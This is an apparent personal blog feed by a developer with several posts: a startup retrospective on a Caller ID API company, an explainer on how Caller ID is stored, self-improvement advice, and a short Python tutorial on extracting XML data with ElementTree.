As odd as this sounds to me, I realize that while I’ve been having a lot of fun since I started programming professionally, I’ve never really had to push myself much. Writing code all day was pretty natural, and not all that challenging.

I realized when I first started getting involved in the Python community years ago that the times I felt the most alive and on the edge were the times I had to get out in public and do stuff: give a talk, hang out with other developers way smarter than myself, write articles about tech stuff, etc.

Whether it’s because of my innate introversion or something else, I’ve always seemed to get the biggest challenge out of community related stuff, while the coding sessions have always come naturally.

While part of my excitement for joining Stormpath is due to their incredibly awesome product and vision, I’m also really excited to challenge myself and push myself in a bunch of new ways.

Over the next several months I’m going to be doing a whole lot of:

Open source library hacking.
Tool building (in lots of languages / frameworks / technologies).
Speaking.
Writing.
Getting out into the community, making friends, and learning cool stuff from my peers.
Helping other developers out, in whatever ways possible.

I’m really excited to be joining Stormpath, and opening a new chapter of my life.

Over the next few months I’ll also be writing about my experiences as a brand new Developer Evangelist, about what I’m learning, and all the things that involves.

As a side note: if you’d like to meet up and chat sometime, let me know! Now that part of my job is meeting developers, and getting out there into the community even more – I’m able to make time to do cool stuff more frequently >:)

If you’d like to get in touch, you can always hit me up on Twitter or via email.

My Startup, A Retrospective

r@rdegges.com (Randall Degges) — Fri, 31 Jan 2014 00:00:00 -0800

Wow, the past ~2 years have been totally crazy.

Almost two full years ago I launched OpenCNAM, with this post here on my blog. Since then I’ve learned a ton, and wanted to take some time to reflect on what things I did right, what things I did wrong, and hopefully share an interesting story along the way.

If you’ve got any questions, feel free to drop me an email.

Launching OpenCNAM

When Mike, Chris and I decided to build OpenCNAM, we did so because the Caller ID industry was horrible.

There was no good way (as a developer) to grab Caller ID information and use it without going through a ton of hoops. If you wanted to get Caller ID information, you had to:

Setup expensive phone company contracts.
Have your own hardware servers.
Have custom cards in your servers to talk to the phone companies.
Setup a PBX system and do all sorts of custom coding to get things working properly.

We weren’t satisfied with that. It sucked!

Our vision for OpenCNAM was to have a purely developer-drive site where users could easily query a REST API endpoint and get back Caller ID information for any phone, instantly.

So that’s what we set out to build.

What we ended up doing was launching a very, very small MVP of OpenCNAM in a single weekend. The strategy was simple: load up on energy drinks and knock the entire thing out as quickly as possible.

I spent the entire weekend building a Django site and API service (using Tastypie), and desperately hacking up a theme from ThemeForest that looked suitable. In the end, everything came together nicely and the first version of OpenCNAM was live!

It consisted of:

A two page website (a home page, an about page).
A Sphinx documentation site (docs.opencnam.com), which contained all of our developer facing documentation.
And lastly, a simple API service that returned Caller ID given a phone number (in JSON, JSONP, YAML, XML, and plain text).
No user accounts or signup whatsoever. Users could only query our API endpoint directly (with no credentials).

Overall, it equated to about 20 hours of hacking.

After it was ready, I randomly threw the link up on Hacker News and /r/startups tailed our Heroku logs >:)

To my surprise, people liked it!

We received hundreds of email from programmers who found us through both Hacker News and Reddit, asking us questions, giving us suggestions, etc. In the first 48 hours we did several hundred thousand API requests – it was insane!

Post Launch

After the initial launch, we knew OpenCNAM had some potential. So I immediately went back to work.

For the next two weeks I added user authentication, billing, integrated a new custom design (we hired a designer to build a nicer looking website), rewrote our documentation, and cleaned up the code base.

I also built out several client libraries, and started writing integration software for existing business phone systems (to give phone system administrators a way to enable Caller ID for their users).

The entire time I was living through the biggest adrenaline rush ever. Constantly coding, feeling great, and (for the most part) living the dream! There’s almost no better feeling in the world than working on something that you really love, and having other people enjoy your product!

Once those two weeks were over, I relaunched the site, and emailed all of the people who messaged us about OpenCNAM previously. We immediately started to see user signups – a great feeling.

Within a day or so we had our first few paid users (and profitability!). From there, the service just kept on growing.

Scaling Issues

A few weeks after our ‘real’ launch, we started having issues keeping up with customer demand. The Django site and API service I had built were hacked together quickly, and were not scaling properly.

To keep things running smoothly, I scaled up our Heroku Dynos, but quickly realized that things needed to be rewritten as soon as possible to avoid major problems. Not only were there issues with customizing Tastypie for our specific use case, but there were also problems optimizing our authentication and authorization workflow, which led to us hammering our database and caching servers far more than necessary.

For the next two months I spent a lot of time carefully rewriting the entire OpenCNAM code base, and converting the systems from a single, monolothic Django project, into multiple, totally independent, Flask API services.

When I finally pushed these new services live, and shut down the old Django site, I was incredibly surprised to see how much of a difference it made. Our new service oriented architecture was able to serve thousands of requests per second (for both free and paid users) with only two Heroku Dynos, reducing our hosting costs to almost nothing.

Fun Fact: To this day, OpenCNAM only needs roughly 5 Heroku Dynos, and handles tons of requests. Something I’m incredibly proud of.

Our new Flask backend also proved to be a lot simpler and more maintainable. The code base shrunk about 50% in size, and our projects became so simple that apps / blueprints / etc. weren’t even needed – a nice side effect of building simple, isolated services.

Getting Customers

After getting the product side of things running smoothly, I was talking with Mike and Chris about the next move, and we all decided that now would be a perfect time to go out there and acquire customers.

Side Note: I’m a bit of an introvert. I do OK talking with other programmers, but I’ve never considered myself a marketing or salesperson, so I had absolutely no idea how to “get a customer”.

Anyway, it was around this time that I decided to get out of my comfort zone and try to bring in some new customers myself! I figured that if sales guys can do it, it can’t be all that hard, so I might as well give it a go.

Since Chris is an experienced customer facing guy, I spoke with him and got some advice about talking with potential customers and reaching out to people directly.

After a few days of trial-and-error, I found a marketing solution that ended up working pretty well!

Identify Your Targets

The first thing you want to do when looking for customers is identify who your customers actually are.

In our case, I figured that we had several groups of potential customers:

Mobile developers wanting to build Caller ID applications for Android / iOS.
IT guys working in small companies who managed the company phone system, and wanted to get Caller ID support for their users.
Voice over IP companies who provide IP based phone service to many customers at scale.

I figured that since the last group is the smallest (there are a lot less VoIP companies than there are mobile developers and IT guys), it would be advantageous to reach out to them first (and of course, it doesn’t hurt that they’d likely be the biggest spenders).

Find Your Targets

Once you know who you need to contact, the next step is to find them!

In my case, I literally opened up Google and searched for voip companies, SIP providers, and a few other related phrases, then spent a day or two going through every page of results and making a spreadsheet with several columns:

The company name.
The company URL.
The company size (estimated).
The owner (or CTO’s) email address.

The main goal here is to get an email address of the highest ranked technical person. For small companies, this is usually the CEO / CTO. For larger companies, you might have to find something like the lead programmer / lead tech / etc.

In the end you should have roughly ~500 contacts.

Send Personal Email

Once you have enough contacts, it’s time to get busy writing email!

What I decided to do at first was send 3 email per day, first thing in the morning, to three different potential customers.

My reasoning was that 3 email is easy to do, and ensures that you won’t get overwhelmed with phone calls / email in the following few days – this way you’ll be able to devote as much time to each customer as needed.

Although I tweaked my email wording quite a bit, what ended up working well for me was something similar to the following (your mileage may vary):

Hi <name>!

I’m a big fan of your company, <company>. I love how you guys do <something>, and love your product.

I’m the CTO at a small tech startup, OpenCNAM (https://www.opencnam.com/). We just built an experimental new Caller ID API service. The way it works is simple: you query our public API endpoint with a phone number (ex: https://api.opencnam.com/v2/+16502530000), and we’ll give you back that phone’s Caller ID (“GOOGLE INC” in this case).

I’d love to get your feedback on our service. You can try it for free without even creating an account! Just hit our public API endpoints directly.

I’d love to know how we compare to your current Caller ID provider(s) if you have any.

Thanks for your time, I realize you’re incredibly busy.

Best,

-Randall

The key things that worked were:

I always wrote each email personally, and included company-specific stuff in each email (this requires time).
I took the time to find out what this company does BEST, and complement them on it. This was totally genuine, and helped me get to know what products my potential customers were building.
I gave the person example URLs to test against. I think this is super important – nobody cares for reading a bunch of documentation and stuff. People want to see results. What better way to win someone over than give them what they want?
Don’t mention anything about pricing / etc., it makes people feel like they’re being sold to.
Ask for feedback. If the person likes your product / company, they’ll sign up. If they don’t like your product, you’ll get some negative feedback you can use to make things better. Win / win.
Lastly, everyone is really busy and hates wasting their time. I always mentioned that I know they are very busy to let them know that I really do appreciate them taking the time to read my email and possibly respond.

The method above resulted in a roughly 75% conversion rate – it was incredibly successful.

Things to Keep in Mind

The people you reach out to are just like you: they’re busy, they want to save money, and they want to use quality products. If you can show them a superior product and make it look nice and easy, people will usually like you and your company.

In our case, we got extremely lucky – either we had perfect timing, or we had perfect wording, but for one reason or another, we were able to convert an incredible amount of large phone company providers into customers in a very short period of time.

The best thing you can do when reaching out to potential customers is just be yourself – don’t worry about being professional or pretending to be a big company, just be genuine and treat people with respect.

Keeping Busy

After bringing on a couple thousand customers, I decided to release a V2 API and make several improvements to the data layout / features we provided.

I ended up spending a month or two releasing supplementary features and finally pushing out a nice new V2 API (and related docs, libraries, and software integrations).

Since our hosting costs were very low, we decided to keep things simple and make iterative improvements to the product, and run as lean as possible. This allowed us to build up quite a bit of funding to invest in our other projects (we have several other large products).

Unfortunately, it was about this time when things started to run smoothly and everything seemed excellent that we decided to devote more time to our other projects and spend less time working on OpenCNAM directly (which in retrospect, was a big mistake).

For the next year I spent most of my time working on our other projects, and only making small improvements to OpenCNAM at the behest of our customers. During this time OpenCNAM continued to grow steadily, but I had a ton of project guilt for not spending enough time adding all the cool things I wanted to add to the project.

Bringing on Help

I’m happy to report that as of two weeks ago, OpenCNAM brought on its first new hire: Avery Max. Avery is going to be 100% dedicated to OpenCNAM and will be launching all of the awesome features I didn’t get a chance to release, and making the product a lot better in the coming months.

In the two years since OpenCNAM started, we’ve served up tons of API requests, brought on thousands of new (and happy!) customers, and made the Caller ID industry a little bit better.

I’m super proud of everything that’s been done over the past few years, and can’t wait to see how the product develops over the next few years.

Retrospective (the Good)

While I’m pretty confident the main reason OpenCNAM was successful was luck, I do think that we made some good decisions early on which helped improve that luck a bit.

Firstly, we decided to get the MVP going as quick as possible. I know this is common knowledge, but you really should get your product out there as soon as you possibly can, even if it’s just hacked together.

Secondly, we actually launched a product for our MVP, not just a landing page or a ‘coming soon’ type thing. While I realize the best way to validate your product is to have customers lined up in advance, I think that in most cases, that’s just a waste of time. In the amount of time it takes to get your domains / email / landing page setup and configured properly, then to do all the marketing for your product, you might as well build a functional MVP!

The other thing I think we did well was to stay true to the company’s goal. We set out to build the best Caller ID API service possible, and I think we did exactly that. Along the way, we received tons of email from customers asking us if we could do other things like:

Give them email addresses from phone numbers.
Give them social network information from phone numbers.
etc.

But I’m glad that we turned those requests down and kept our goal as simple and straightforward as possible. Having a single, unifying goal makes it easy for everyone on the team to get involved and make decisions without worrying about whether or not what they’re doing is right. Whenever we received requests, or had tricky technical issues crop up, the question we always asked was “Will doing this make OpenCNAM the best Caller ID company out there, or not?”

Lastly, we did a great job with customer support. We went out of our way to help new customers use and integrate OpenCNAM into their products, sometimes even committing code directly into a customer’s code base! I think it’s pretty important to do just about anything for your customers. If they need help – get out there and help them! Don’t worry about politics, procedure, etc., just make people happy!

Retrospective (the Bad)

While I’d like to say we made no mistakes running OpenCNAM, I can’t! All of us made a ton of mistakes along the way.

I think the single largest mistake we made was to not invest more time into OpenCNAM as it was growing. Instead of devoting time to other projects, we should have doubled down and focused on developing the product even more, and made it into the best possible product.

At the time, it seemed like a good idea – but in retrospect, I believe that if we would have really focused on adding more features to the API service, cleaning up the user dashboard, and fixing some UI elements – we could have won a lot more potential customers over.

Secondly, we realized too late that the product we built was for the wrong audience!

We started OpenCNAM with the idea that it would be an API company for developers. What we realized many weeks after launch (based on customer email) was that most of our users were NOT developers at all! As it turned out, most of our users were companies with internal phone systems (PBXs) who just needed to get Caller ID hooked up for their users.

Since our company / branding / UI was totally developer driven, this made things a lot more complicated and confusing for potential users, and often resulted in email questions, and integration questions about various phone systems.

If we would have realized this sooner, and either:

Pivoted the company to cater to phone system users, or
Launched a separate product to cater to phone system users.

Then I think we could have been far more successful, and made our customers far happier.

Of course, it’s never too late to do these things, but it would have been nice to have identified and taken care of these things immediately after learning about them.

Closing Thoughts

Running a successful startup has been a crazy two year experience. It’s had it’s ups and it’s downs – but mostly ups. I feel incredibly lucky to both succeed on the first try as well as build something that thousands of people use and love!

In the next few years, I expect OpenCNAM to continue to grow and evolve, and make even more of an impact on the telephony industry.

If there’s anything else you’d like to know, feel free to shoot me an email. I’m probably going to be writing several follow up articles in the coming weeks / months, so if you think of any interesting topics let me know!

-Randall

Making the World a Little Bit Better

r@rdegges.com (Randall Degges) — Wed, 22 Jan 2014 00:00:00 -0800

For the past few days, I’ve been reading an excellent new book: The Tipping Point, by Malcom Gladwell. Despite the relative wordiness of the book, it’s an incredibly great read, and I’d highly recommend it to anyone looking to improve their life (and the lives of those around you).

The subject of the book is something I find particularly interesting: why do some things become popular? Why do people suddenly love a certain musician – why does a book become mainstream – why does one company become a household name while others die out? These are some pretty interesting questions.

When I started reading the book, this is what I expected to learn. What I discovered, however, was something much more important: how you can directly affect your own life and the lives of those around you by changing your environment.

Context Matters

Generally, we humans are horribly bad at being context aware. When I’m out having dinner at a restaurant, and overhear a person at the table next to me treating the waiter rudely, I tend to jump to conclusions rather quickly:

This person doesn’t have manners.
This person is rude to everyone.
I can’t believe this person is in a relationship! What is their partner thinking!?
This person is a bad person.

What I’ve done, you see, is immediately classify this person as being a bad person – I’ve narrowed their entire life down to a single boolean value: good or bad.

As it turns out, however, people aren’t just boolean values! People are incredibly dynamic, and context means everything.

Numerous studies done over the past few years show just how much of a role environment plays in human behavior. In the right situation, even the most cherished ideals you hold can be reversed – and it often happens without you even realizing it!

If you take a child from a bad neighborhood with a good family, and compare their grades with those of a child from a good neighborhood with a bad family, the child with the bad family wins out every time – the exact opposite of what most people would assume – but why?

The reason is that context plays an enormous role in behavior. Regardless of whether or not you have a great family (caring, loving, supportive) – if your neighborhood and community are bad (lots of crime, poor influences, etc.) – the odds are unfortunately not in your favor.

The societal pressure of your environment is a much stronger influence than most people realize.

If you live in a good neighborhood, there are many environmental factors which lead you to a better and more successful life:

Less crime in your environment.
Better schools.
Better role models and peers.
A different sense of what constitutes a normal life.

If you live in a bad neighborhood, there are many factors which might lower the quality of your life:

More crime.
Worse schools.
Poor role models.
A different sense of what constitutes a normal life.

If you take even the most loving person and throw them into a war zone, they will act as if they’re at war. The opposite is also true.

Environment is everything.

Improving Your Life

Now that we know context is important, and that it directly affects people’s behavior, we can use this knowledge to our advantage to directly improve our own lives.

Let’s say you want to lose weight. There are obviously several ways to do this:

Reduce your caloric intake.
Increase your base metabolic rate by gaining muscle.
Increase the amount of calories you burn each day through exercise.
Change the foods you eat.

While losing weight in any form requires a certain amount of self discipline, since we know that we are greatly influenced by our environment, we can make this process a bit easier by changing our immediate environment!

You can go through your pantry and remove all non-diet friendly foods.
You can precook (and pack) suitable meals for eating at work on your lunch break.
You can politely decline any friends who ask you to join them at restaurants and bars where sticking to your diet will not be easy.

If you surround yourself with things that make it easier for you to make a positive choice – then you will find that you make more positive choices.

The same rule applies to all other ventures as well.

When I need to get quality programming time in, I make it hard to do anything else:

I’ll go to a co-working space for the day, where I have no distractions.
I’ll wear headphones and listen to music to insulate all outside noise.
I’ll bring food with me so I’m not tempted to leave for long stretches of time to go grab lunch or dinner.

By putting myself into an environment where it’s hard not to work, I’m making it easier for me to finish my work and accomplish what I set out to do.

Improving the World

While it’s certainly possible to improve your own life by changing your immediate environment – is it possible to affect the lives of other people as well? The answer is a definite yes.

The rules work much the same way as they do for you personally – but on a slightly larger scale. People tend to act differently based on their surroundings.

If you’re walking along a quiet street with well maintained sidewalks, gardens, and trees, you’ll feel much more relaxed and at ease than you would if you were walking through a quiet street surrounded by old crumbling buildings covered in graffiti.

I’m also willing to bet that if you were walking through an old neighborhood, covered in graffiti and surrounded by old buildings with broken windows – that you’d be a lot more cautious of people you run into. You’d be on edge. You’d be afraid. You probably wouldn’t act the same way you would if you bumped into someone in a nicer area.

So, with this in mind, we can improve not only our lives, but the lives of other people as well – by just improving our surroundings! And luckily, there are tons of ways to do this.

Here are some suggestions that require almost no effort on your part:

When you walk down the street, smile and say hello to everyone you pass. Studies have shown that smiling is contagious, and makes people feel more comfortable, safe, and happy than they would otherwise.
If you see trash on the side of the road, or in any public place, pick it up and throw it away. People tend to treat areas that are already clean and nice with more care than they do for places that are already dirty.

If you want to do something more, and are willing to exert more effort, you could also try some of the following:

Start a local meetup and get people involved in something you find interesting. Making and maintaining friendships is one way to keep people interested and motivated in their own personal development.
Join your local city council and encourage the city to fix poorly maintained public places: renovate parks, spend money fixing and improving streets, etc.

The Idea

The main idea here is that by making even the smallest of environmental changes, you can positively affect the lives of other people – maybe by making them feel more safe and relaxed, or by making them smile and feel a tiny bit happier as they go about their day.

If even a small number of people consciously put forward effort to improve their surroundings, great things can happen.

One of my personal habits (for a long time) has been to try and make other people happy in some small way. After reading The Tipping Point, I was surprised to learn how easy it can actually be! There’s no need to wait, if you want to make the world a better place, just get out there and do it!

How Caller ID Works

r@rdegges.com (Randall Degges) — Wed, 18 Dec 2013 00:00:00 -0800

Oh man.

I don’t do this often, but, I’m going to do a bit of ranting >:)

Why?

I’ve been working with telephony stuff for almost 5 years now, and have a pretty decent understanding of how things work. Truth be told: the entire telephony industry is one huge hack. All the big players are using old technologies and standards which are frustrating to work with, and cause loads of unnecessary grief for anyone working with stuff! Ugh!

I’m also quite invested in this topic. Almost two years ago I started an API company (OpenCNAM) which makes getting Caller ID information easy for developers.

Since I’ve been doing this for a while, and have seen almost every imaginable problem and roadblock, I figured it’d be nice to get all this off my shoulders, and share some interesting technical information with the rest of the internet at the same time.

What is Caller ID?

Caller ID is an old telco standard for NANPA countries (any country whose phone numbers begin with a +1):

US
Canada
American Samoa
Bermuda
Guam
Northern Marianas
Puerto Rico
Sint Maarten
US Virgin Islands

Essentially, the standard (which doesn’t seem to be published anywhere on the internet sigh) says that every assigned phone should have a Caller ID string which is represented as a 15 character, ASCII string.

The way this works is simple. Every phone company (think Verizon, T-Mobile, AT&T, etc.) maintains a database that contains three columns:

phone number
Caller ID
private? (yes / no)

So, each time a phone company gets a new customer and assigns them a phone number, that phone company is responsible for collecting the user’s name and inserting it into their central Caller ID database.

The idea is that if each carrier has a Caller ID database, then when people make calls to and from one another, this information can be used to display the Caller ID name of the person making the call – this way the called party can see who is calling them.

NOTE: Caller ID works differently in other countries, so I’m only going to cover the NANPA stuff (which applies to all US readers).

How Caller ID is Stored

Now that you’ve got a very high level understanding of what Caller ID is, let’s talk about how it is stored.

When phone companies sign on new customers, they insert the new user’s Caller ID into a LIDB database. Each carrier typically has their own LIDB database that centrally stores all Caller ID for a given company.

For simplicity’s sake, you can think of an LIDB database as a relational database (think PostgreSQL). Now, in actuality, I have no idea what underlying technologies power an actual LIDB database – I can only guess. The reason for this is that there is no information on this technology anywhere online (as far as I can tell) – and all the books I’ve read on the subject seem to skip this bit of information.

The important part is that LIDB databases are where Caller ID information is stored.

Now, here’s the thing – since there are so many different phone companies around the US (and Canada) – including many rural (small) phone companies, what’s ended up happening is that many of the little guys have done one of two things:

Decided not to maintain any LIDB database records at all.
Decided to outsource their Caller ID data to an LIDB provider – a company which provides a single LIDB database and stores Caller ID for numerous different providers themselves.

Now, as you can see, the above two points have caused a lot of side effects:

Each carrier is no longer guaranteed to have an LIDB database of their own.
When calls are made, the location of the Caller ID data is now tricker to find.
Some phone numbers will never have Caller ID since some phone companies don’t have the staff / ability to handle that stuff.

I’ll get into these points more later on, but it’s important to understand what is happening.

Final Thoughts

Caller ID is a horribly old, legacy standard that is hard for both consumers and businesses to use and work with. Furthermore, all of the Caller ID players (with the exception of OpenCNAM) are only making the problem worse, and causing further pain in the industry.

Got any questions? Feel free to shoot me an email, would be happy to help.

Instantly Improve Your Month

r@rdegges.com (Randall Degges) — Mon, 16 Dec 2013 00:00:00 -0800

Two months ago I was having a pretty lousy time. I was in a serious rut. The new project I’d been working on was struggling with various scaling issues (something I’m going to cover in subsequent articles), and I was routinely pulling 16 hour days trying to get things working without much luck.

In a desperate attempt to find some sort of relief, I was looking through my Ideas Google doc and came across a hidden gem: a few paragraphs I had written to myself at some point in the past few years which outlined a few simple things I should do when I’m in a rut to help me pull myself out of it. Thanks, past me!

After practicing the list of things below, I felt a lot happier, less stressed, and gradually went back to feeling like my cheery self within a week or two.

So, without further ado, here is my list of things you can do to instantly improve your month and pull yourself out of whatever rut you’re currently in.

Drink a Lot of Water

While this point seems moot, it’s actually quite important. Drink a ton of water.

Sometimes when I’m at my desk all day, I don’t move around enough to drink water, and end up having a dry mouth all day long – ugh.

I’ve found that drinking about a gallon of water a day makes me feel really well hydrated and just better overall.

It also helps to completely cut out all other types of liquid drinks you might normally have: soda (diet or otherwise), caffeine drinks, tea, juice, coffee, etc. I typically drink a lot of caffeine, but when I lay off it completely for a few days (minimum) I feel a lot more relaxed and less on edge.

Eat Vegetables

Eat at least one full serving of green vegetables per day. Why green veggies? They’re the best ones for you: broccoli, peas, pea pods, leafy greens, celery, etc.

Green vegetables have a very low amount of carbohydrates, are great for staying slim, reducing insulin levels in the blood, and taste good with a little bit of pepper :)

Maintaining steady insulin levels (blood sugar) is useful as it helps decrease variation in blood sugar levels throughout the day which can lead to all sorts of stuff: afternoon crashes, hunger, irritability, etc.

They’re also full of vitamins and minerals that you might not be getting enough of on a day-to-day basis

Eat Lean Meats

Almost nothing is as good for you as some lean meat: chicken, turkey, lean steak, 95/5 ground beef, etc.

Meat is incredibly filling and makes you feel satisfied quicker than other types of foods. It has lots of protein which supports muscle tissue and muscular development, and helps regulate body fat levels.

Lift (Heavy) Weights

Go to the gym and lift some weights! Seriously. It doesn’t matter if it’s your first time or not – lifting weights is one of the best things you can do for your health and happiness.

Lifting weights has been shown to:

Increase testosterone levels (a very good thing).
Decrease body fat levels.
Increase metabolic burn rate (more muscle = more calories burned every day, regardless of whether you’re active or not).
Increases endorphin levels: making you feel happier and lowering your stress levels.

Spend an Hour Outside

Getting outside helps you clear your mind, gets you a healthy dose of Vitamin D (unless you’re outside at night!), and increases happiness.

It’s also quite relaxing to force yourself outside without a computer for an hour each day: it helps me to appreciate all the non-tech things in the world, and gives me some time to do more basic human things: go for a walk, take a short bike ride, and even think about problems I’m having in a stress-free environment.

Visit a Friend

Visit your friends at least once every other week. Maintaining contact with your buddies is a great way to relax and pull yourself out of a rut.

Hanging out with friends reduces stress, increases endorphins, and has even been shown to increase your lifespan!

I’ve found that hanging out with friends at least once every other week is enough to keep me feeling happy and normal – more than that and I find myself missing the interaction :(

Read

Reading is a really important part of relaxing and feeling happy. If you’re not already spending at least 30 minutes per day reading a book that interests you, you should start immediately.

Reading increases your knowledge, relaxes your mind, and is a great way to ‘zone out’ of the craziness of life for a short period of time. Focusing on a book for 30 minutes a day is an excellent way to increase your personal satisfaction.

NOTE: If you commute each day, you might want to consider getting an Audible subscription. Audible is the biggest audio book subscription service – they have tons of books that you can download to your phone and listen to on the go.

Write

Writing is also an important tool in reducing stress.

Writing about your day (journaling) is a proven way to reduce stress and is incredibly therapeutic.

Regardless of whether you’re journaling or writing about other stuff: work problems, programming, hobbies, whatever – spending 30 minutes writing per day is a great way to make yourself feel happy and productive.

If you’re looking for a good way to journal each day, I’d recommend using 750 Words. It’s a great tool you can use to maintain a private journal online, which forces you to write at least 750 words each day to keep up your chain. Once you give it a try, you’ll see why it’s so awesome: there are no distractions, and it gives you a really simple throw-away space to write about whatever you want without worrying about formatting, structure, etc.

Focus on One Thing

Make a list of things you need to do in the next few days. Every morning when you wake up, pick the most important thing on that list, and write it on a tiny post-it note. Then put that post-it note on your computer.

For the rest of the day, focus on doing that one thing as good as you possibly can, and ignore everything else (within reason).

If you can successfully finish that one thing by the end of the day: be happy with your progress.

I find that when I’m working on too many things I get easily distracted, overwhelmed, and stressed out. Having a single thing to focus on makes me feel a lot less stressed, and helps me stay on target for the day.

It’s also nice to get the feeling that you’ve made progress at the end of each day by finishing something completely. When I’ve got a million things to do and I’m hurriedly finishing lots of things, I somehow feel like I haven’t accomplished anything significant at the end of day, and feel bad about myself.

It’s a lot better to keep that post-it note within view, and know that by the time I’ve finished the day I’ve actually accomplished a win.

Maintain an Idea List

The last piece of advice I have is to maintain your own idea list.

I always keep a Google document named Ideas open when I’m working – this way, if I get a cool idea for something (a blog post, business, app, library, whatever) – I can quickly jot it down and move on without worrying about losing the idea.

I periodically come back to my idea list when I’m bored or need inspiration, and have a place to view all of my ideas and thoughts that I’ve had in the past.

It’s really great knowing that anytime I’m feeling bored or uninspired I can take a quick look through some awesomeness and cheer myself up.

That’s All

Hope some of my suggestions can help you out at some point in the future. If you implement all of the above things in your life for a week or more, it’s pretty difficult to have a bad month.

Keep making progress each day (both physically and mentally) and you’ll feel happier, less stressed, and more awesome.

Fucking Do Something!

r@rdegges.com (Randall Degges) — Mon, 21 Oct 2013 00:00:00 -0700

A little bit of life advice to myself for future reference: the next time you’re not feeling great – feeling lonely, sad, whatever it may be – just get up and fucking do something. No excuses. Want to sit there and feel bad for yourself? Grow the fuck up!

Sometimes you’ve got to be hard with yourself, there’s just no getting around it.

You’ve got to get up, go to the gym, and lift some heavy ass weights. You’ve got to get on that bike you bought and crush 20 miles or so. You’ve got to make a list of ideas you have that sound like fun, and start working on one of them until you can’t work anymore.

This is just how things go.

There’s no way you can ever feel 100% all of the time, but you can certainly try your best. Inaction is the worst sort of failure. It’s what weak willed people do.

“There’s too much stuff to do, I can’t do anything.”

Not with that attitude!

You’ve got to get out there and give it your absolute fucking best. Turn off Netflix. Turn off Twitter. All you need to do is get in there and keep fighting. Whatever you do, don’t give in to those feelings.

We’re just huge meat bags full of chemicals after all – are you going to let some minor chemical differences in some random region of your brain control your life? ARE YOU? Or are you going to concentrate on what you have to do, and do it?

That’s what I thought.

Now get out there, and be awesome.

Quickly Extract XML Data with Python

r@rdegges.com (Randall Degges) — Wed, 04 Sep 2013 00:00:00 -0700

Today I had the unfortunate luck of having to integrate an XML web service into an application I’m working on.

As you might already know, parsing JSON data with Python is really simple thanks to some great built in tools. I wish I could say the same thing for working with XML! Unfortunately, while Python does include built in XML processing tools, they’re not exactly the easiest thing in the world to work with.

I’ve written about XML parsing in Python before (a really long time ago!), but after spending an hour hunting around for the most elegant solution earlier today, I figured I’d write a quick post as future reference to myself.

When I last worked with XML in Python, I recommended that users try to use the lxml library. LXML is pretty great because it allows you do some advanced things with XML, but on the downside: it requires C libraries (yuck!) that are annoying to install locally, and adds another dependency to your project.

Instead of going the LXML route, I’d like to suggest using Python’s built in xml.etree module. It’s got a (relatively) simple interface that makes parsing simple XML documents fairly easy – and since that’s all I needed to do, it seemed like a good solution.

If you’re looking for a quick way to extract XML data, read on.

Anyhow, let’s say you’ve got a simple XML document that looks something like the below:

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE xgdresponse SYSTEM 'xgdresponse.dtd'>
<xgdresponse version='1.0'>
 <transid>2771709</transid>
 <errorcode>0</errorcode>
 <response>
 <result>
 <element>666</element>
 <errorcode>0</errorcode>
 <value>SOMETHING IMPORTANT!</value>
 </result>
 </response>
</xgdresponse>

Now, let’s say you need to extract the value element out of this XML tree. After lots of experimentation, this is the simplest way I found to do the data extraction:

"""Extract the `value` element from the XML tree, if it exists."""


from xml.etree import ElementTree as ET


xml = """
<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE xgdresponse SYSTEM 'xgdresponse.dtd'>
<xgdresponse version='1.0'>
 <transid>2771709</transid>
 <errorcode>0</errorcode>
 <response>
 <result>
 <element>666</element>
 <errorcode>0</errorcode>
 <value>SOMETHING IMPORTANT!</value>
 </result>
 </response>
</xgdresponse>
""".strip()

value = ET.fromstring(xml).find('response/result/value')
if value:
 print 'Found value:', value.text

Which outputs:

$ parse.py
Found value: SOMETHING IMPORTANT!

The way this works is that we:

Load our XML document into memory, and construct an XML ElementTree object.
We then use the find method, passing in an XPath selector, which allows us to specify what element we’re trying to extract.
If the element can’t be found, None is returned.
If the element can be found, then we’ll use the .text property on our element object to grab the data out of the desired XML element.

All in all, not so bad!

The next time you’re looking to quickly extract some data out of an XML document, give it a try!

Got a better method? Drop me a line.

How Hard Can You Work?

r@rdegges.com (Randall Degges) — Thu, 18 Jul 2013 00:00:00 -0700

Lately I’ve been rereading one of my favorite books of all time: The Passionate Programmer. While every page of this book contains an important lesson, I wanted to write about a particular one today.

NOTE: If you had to pick one book to read to become a better programmer (and person), The Passionate Programmer would be my recommendation. Every programmer should own a copy – it’s that good – seriously.

Anyhow, onto the story.

I’ve been writing code since I was a kid. When I first got started, I had zero knowledge, and everything I learned was exciting and new.

As I’ve continued writing code and developing as a programmer over the past 13 years, I’ve had the opportunity to play with lots of different technologies, learn new methodologies, and practice building lots of different tools.

It seems that over time, as I’ve learned new things, I’ve also become more and more elitist when it comes to what I’m working on. What I mean by this is that instead of being content working on a simple project, I tend to quickly rush my work when I’m finishing simple things, and instead focus all my real effort on building parts of systems that I find interesting.

This has led to a bunch of problems:

I feel frustrated and annoyed that I have to work on simple problems in my projects.
I rush my work when doing simple tasks, leading to lots of bugs and poor quality code.
I spend an inordinate amount of time working on a single part of a project (the core, complex part) and pay much less attention to polish and other important user-facing project components as they don’t seem all that interesting technically.
I end up losing interest in projects after getting the core functionality built, which leads to project decay and rot.

Obviously, the above are pretty bad. I’ve spoken with lots of programmer friends about this as well, and it seems that I’m not the only one who has this problem.

Everyone I’ve spoken to about this (without exception) has had the same experience after their first few years developing software – it almost seems natural that once you’ve learned something, it’s just not that interesting anymore and it becomes a chore to continue doing the same sorts of things over and over again.

But, even though it may be natural to become a bit of a software snob, it’s definitely a problem that each programmer needs to tackle if they want to continue making progress in this field – programming isn’t a field where you can selectively pick and choose what you work on all the time, it’s just not possible.

Every project is going to require code to be written, and not all of that code will be the most interesting thing in the world – so if you’d like to continue to up your skill set and deliver good products, you need to take a different approach to your work once you’ve hit this roadblock.

This is where a mindset shift becomes necessary.

If you’re experiencing any of the above problems, there is really only one good solution. You’ve got to ask yourself: How hard can I work?

The trick is to make your work a game. The next time you need to build out a simple part of a project, instead of feeling annoyed that you have to do it and rushing your work, instead treat it as a personal challenge: how good can I possibly do this?

This is a great way to keep yourself motivated for the task at hand, and allow you to increase your skill set by giving even the simplest of tasks 100% of your development effort.

Here are some simple things you can do to really challenge yourself regardless of the complexity of a project, and ensure that you’re not going to frustrate yourself and do a poor job.

Draw sketches of your project’s functionality and architecture before getting started. Go into detail and make sure you’ve laid things out in the most optimal way possible. This is a great way to ensure your systems will be scalable and fault-tolerant – and also forces you to think of the best possible way to build your project.

